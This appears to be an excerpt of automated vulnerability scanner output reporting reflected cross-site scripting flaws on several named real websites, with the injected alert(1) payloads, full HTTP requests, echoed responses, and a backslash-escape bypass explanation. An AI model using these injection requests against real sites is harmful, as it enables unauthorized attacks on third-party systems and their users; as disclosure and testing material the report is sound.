GET /wp-content/themes/powermta1/scripts44427"><script>alert(1)</script>9b7ea4d2eeb/rsv.js HTTP/1.1 Host: www.powermta.port25.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: */* Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b0c00"><script>alert(1)</script>7c31e38746c was submitted in the REST URL parameter 5. This input was echoed as b0c00\"><script>alert(1)</script>7c31e38746c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/themes/powermta1/scripts/rsv.jsb0c00"><script>alert(1)</script>7c31e38746c HTTP/1.1 Host: www.powermta.port25.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: */* Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtm ...[SNIP]... <input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content/themes/powermta1/scripts/rsv.jsb0c00\"><script>alert(1)</script>7c31e38746c" /> ...[SNIP]...
2.142. http://www.powermta.port25.com/wp-content/themes/powermta1/scripts/rsv.js [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.powermta.port25.com
Path:
/wp-content/themes/powermta1/scripts/rsv.js
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 43b7d"><script>alert(1)</script>e397849c24f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 43b7d\"><script>alert(1)</script>e397849c24f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/themes/powermta1/scripts/rsv.js?43b7d"><script>alert(1)</script>e397849c24f=1 HTTP/1.1 Host: www.powermta.port25.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: */* Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2f351"><script>alert(1)</script>28071f3cb40 was submitted in the REST URL parameter 1. This input was echoed as 2f351\"><script>alert(1)</script>28071f3cb40 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content2f351"><script>alert(1)</script>28071f3cb40/themes/powermta1/style.css HTTP/1.1 Host: www.powermta.port25.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: text/css,*/*;q=0.1 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 94809"><script>alert(1)</script>17080239665 was submitted in the REST URL parameter 2. This input was echoed as 94809\"><script>alert(1)</script>17080239665 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/themes94809"><script>alert(1)</script>17080239665/powermta1/style.css HTTP/1.1 Host: www.powermta.port25.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: text/css,*/*;q=0.1 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d4afd"><script>alert(1)</script>e37f767f8b5 was submitted in the REST URL parameter 3. This input was echoed as d4afd\"><script>alert(1)</script>e37f767f8b5 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/themes/powermta1d4afd"><script>alert(1)</script>e37f767f8b5/style.css HTTP/1.1 Host: www.powermta.port25.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: text/css,*/*;q=0.1 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7c7a7"><script>alert(1)</script>03c8408a26e was submitted in the REST URL parameter 4. This input was echoed as 7c7a7\"><script>alert(1)</script>03c8408a26e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/themes/powermta1/style.css7c7a7"><script>alert(1)</script>03c8408a26e HTTP/1.1 Host: www.powermta.port25.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: text/css,*/*;q=0.1 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtm ...[SNIP]... <input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content/themes/powermta1/style.css7c7a7\"><script>alert(1)</script>03c8408a26e" /> ...[SNIP]...
2.147. http://www.powermta.port25.com/wp-content/themes/powermta1/style.css [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.powermta.port25.com
Path:
/wp-content/themes/powermta1/style.css
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2b733"><script>alert(1)</script>1511c1ac9a1 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 2b733\"><script>alert(1)</script>1511c1ac9a1 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/themes/powermta1/style.css?2b733"><script>alert(1)</script>1511c1ac9a1=1 HTTP/1.1 Host: www.powermta.port25.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: text/css,*/*;q=0.1 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69
The value of the gclid request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3d7cf"><script>alert(1)</script>19af489f11d was submitted in the gclid parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /?gclid=CJWNm_2JoqsCFSg1gwodCS0_kQ3d7cf"><script>alert(1)</script>19af489f11d HTTP/1.1 Host: www.smtp.com Proxy-Connection: keep-alive Referer: http://www.google.com/search?sourceid=chrome&ie=UTF-8&q=smtp+server User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"> <head> <meta http-equiv="Co ...[SNIP]... <a class="en" href="/en/?gclid=CJWNm_2JoqsCFSg1gwodCS0_kQ3d7cf"><script>alert(1)</script>19af489f11d"> ...[SNIP]...
2.149. http://www.smtp.com/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.smtp.com
Path:
/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4a671"><script>alert(1)</script>d486a6c61a9 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /?gclid=CJWNm_2JoqsCFSg1gwodCS0_kQ&4a671"><script>alert(1)</script>d486a6c61a9=1 HTTP/1.1 Host: www.smtp.com Proxy-Connection: keep-alive Referer: http://www.google.com/search?sourceid=chrome&ie=UTF-8&q=smtp+server User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9f5d2"><a>09058fec952 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6feb5"><a>b032290a8ca was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 63dce"><a>8468ca3b1b7 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"> <head> <meta http-equiv="Co ...[SNIP]... <a class="en" href="/en/service-info63dce"><a>8468ca3b1b7"> ...[SNIP]...
2.153. http://www.smtp.com/service-info [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.smtp.com
Path:
/service-info
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 29ac3"><script>alert(1)</script>cb0b67d5058 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 13d96"><a>ec47253389c was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c02ff"><a>c8ca54df0d3 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f904e"><a>5c6fa54ebb3 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1c997"><a>a8c202834f3 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"> <head> <meta http-equiv="Co ...[SNIP]... <a class="en" href="/en/signup1c997"><a>a8c202834f3"> ...[SNIP]...
2.158. https://www.smtp.com/signup [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
https://www.smtp.com
Path:
/signup
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c681a"><script>alert(1)</script>86fcc655326 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bb74e"><a>07046d1348c was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cfc5e"><a>cd08598e1ee was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /web-hosting-newscfc5e"><a>cd08598e1ee/091611_Go_Daddy_Helping_Customers_Repair_Compromised_Sites HTTP/1.1 Host: www.thewhir.com Proxy-Connection: keep-alive Referer: http://www.google.com/search?sourceid=chrome&ie=UTF-8&q=godaddy+hack#sclient=psy-ab&hl=en&tbo=1&tbs=qdr:w&source=hp&q=godaddy%20malware%20attack&pbx=1&oq=&aq=&aqi=&aql=&gs_sm=&gs_upl=&tbo=1&fp=1&biw=1407&bih=1005&pf=p&pdl=500&bav=on.2,or.r_gc.r_pw.&cad=b User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5f995'-alert(1)-'2a20e35a8c was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /web-hosting-news5f995'-alert(1)-'2a20e35a8c/091611_Go_Daddy_Helping_Customers_Repair_Compromised_Sites HTTP/1.1 Host: www.thewhir.com Proxy-Connection: keep-alive Referer: http://www.google.com/search?sourceid=chrome&ie=UTF-8&q=godaddy+hack#sclient=psy-ab&hl=en&tbo=1&tbs=qdr:w&source=hp&q=godaddy%20malware%20attack&pbx=1&oq=&aq=&aqi=&aql=&gs_sm=&gs_upl=&tbo=1&fp=1&biw=1407&bih=1005&pf=p&pdl=500&bav=on.2,or.r_gc.r_pw.&cad=b User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the body_0%24main_0%24ctl02%24ctl01%24ctl00 request parameter is copied into the HTML document as plain text between tags. The payload 5c5ad<script>alert(1)</script>fd240fc5180 was submitted in the body_0%24main_0%24ctl02%24ctl01%24ctl00 parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
The value of the Domain request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7a54a"><script>alert(1)</script>afa1cd40535 was submitted in the Domain parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html lang="en" xml:lang="en" xmlns="http://www.w3.org/1999/xhtml" > <head> ...[SNIP]... <a href="/en/site-services/search/search-result.aspx?ResultPage=1&Domain=MergeAll7a54a"><script>alert(1)</script>afa1cd40535&query=help contact&page=2"> ...[SNIP]...
2.164. http://www.ubm.com/en/site-services/search/search-result.aspx [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ubm.com
Path:
/en/site-services/search/search-result.aspx
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload af5e7"><script>alert(1)</script>b8d3e48110f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the groupId request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 394e7'-alert(1)-'dccd8ae7337 was submitted in the groupId parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /image/image_gallery?uuid=e451fe3b-d86e-487e-ace5-4559ef1f2ab1&groupId=1482687394e7'-alert(1)-'dccd8ae7337&t=1298997241996 HTTP/1.1 Host: www.ubmlive.com Proxy-Connection: keep-alive Referer: http://media.ubm.com/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Date: Fri, 16 Sep 2011 16:46:42 GMT Server: Apache Expires: Mon, 13 Sep 2021 16:46:42 UTC Liferay-Portal: Liferay Portal Standard Edition 5.2.3 (Augustine / Build 5203 / May 20, 2009) Cache-Control: max-age=315360000, public Vary: Accept-Encoding Content-Length: 52412 Content-Type: text/html;charset=UTF-8
...[SNIP]... h page an identifying name, server, and channel on the next lines. */
The value of the uuid request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 8d5b1'-alert(1)-'01593b2eb8d was submitted in the uuid parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /image/image_gallery?uuid=e451fe3b-d86e-487e-ace5-4559ef1f2ab18d5b1'-alert(1)-'01593b2eb8d&groupId=1482687&t=1298997241996 HTTP/1.1 Host: www.ubmlive.com Proxy-Connection: keep-alive Referer: http://media.ubm.com/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Date: Fri, 16 Sep 2011 16:46:30 GMT Server: Apache Expires: Mon, 13 Sep 2021 16:46:30 UTC Liferay-Portal: Liferay Portal Standard Edition 5.2.3 (Augustine / Build 5203 / May 20, 2009) Cache-Control: max-age=315360000, public Vary: Accept-Encoding Content-Length: 52412 Content-Type: text/html;charset=UTF-8
...[SNIP]... You may give each page an identifying name, server, and channel on the next lines. */
The value of the bc request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c0b68\'%3balert(1)//5be21be8d8c was submitted in the bc parameter. This input was echoed as c0b68\\';alert(1)//5be21be8d8c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /Shared/Report/L22XZG54CT2Z/QuestionResultsWidget/check_7?width=177&bc=226DB1c0b68\'%3balert(1)//5be21be8d8c&bgc=CFE8FC&fc=000000&fs=10&rc=False&rp=True&trc=False&shn=True&tb=False&pr=False HTTP/1.1 Host: www.zoomerang.com Proxy-Connection: keep-alive Referer: http://www.altn.com/Products/MDaemon-Email-Server-Windows/?gclid=CNC9_rqUoqsCFeUZQgodLn8qig User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the bgc request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 3c49c\'%3balert(1)//b3f6a0759b9 was submitted in the bgc parameter. This input was echoed as 3c49c\\';alert(1)//b3f6a0759b9 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /Shared/Report/L22XZG54CT2Z/QuestionResultsWidget/check_7?width=177&bc=226DB1&bgc=CFE8FC3c49c\'%3balert(1)//b3f6a0759b9&fc=000000&fs=10&rc=False&rp=True&trc=False&shn=True&tb=False&pr=False HTTP/1.1 Host: www.zoomerang.com Proxy-Connection: keep-alive Referer: http://www.altn.com/Products/MDaemon-Email-Server-Windows/?gclid=CNC9_rqUoqsCFeUZQgodLn8qig User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the fc request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 4db71\'%3balert(1)//f8765cd7da8 was submitted in the fc parameter. This input was echoed as 4db71\\';alert(1)//f8765cd7da8 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /Shared/Report/L22XZG54CT2Z/QuestionResultsWidget/check_7?width=177&bc=226DB1&bgc=CFE8FC&fc=0000004db71\'%3balert(1)//f8765cd7da8&fs=10&rc=False&rp=True&trc=False&shn=True&tb=False&pr=False HTTP/1.1 Host: www.zoomerang.com Proxy-Connection: keep-alive Referer: http://www.altn.com/Products/MDaemon-Email-Server-Windows/?gclid=CNC9_rqUoqsCFeUZQgodLn8qig User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the fs request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ae4c6\'%3balert(1)//bb990c2bcff was submitted in the fs parameter. This input was echoed as ae4c6\\';alert(1)//bb990c2bcff in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
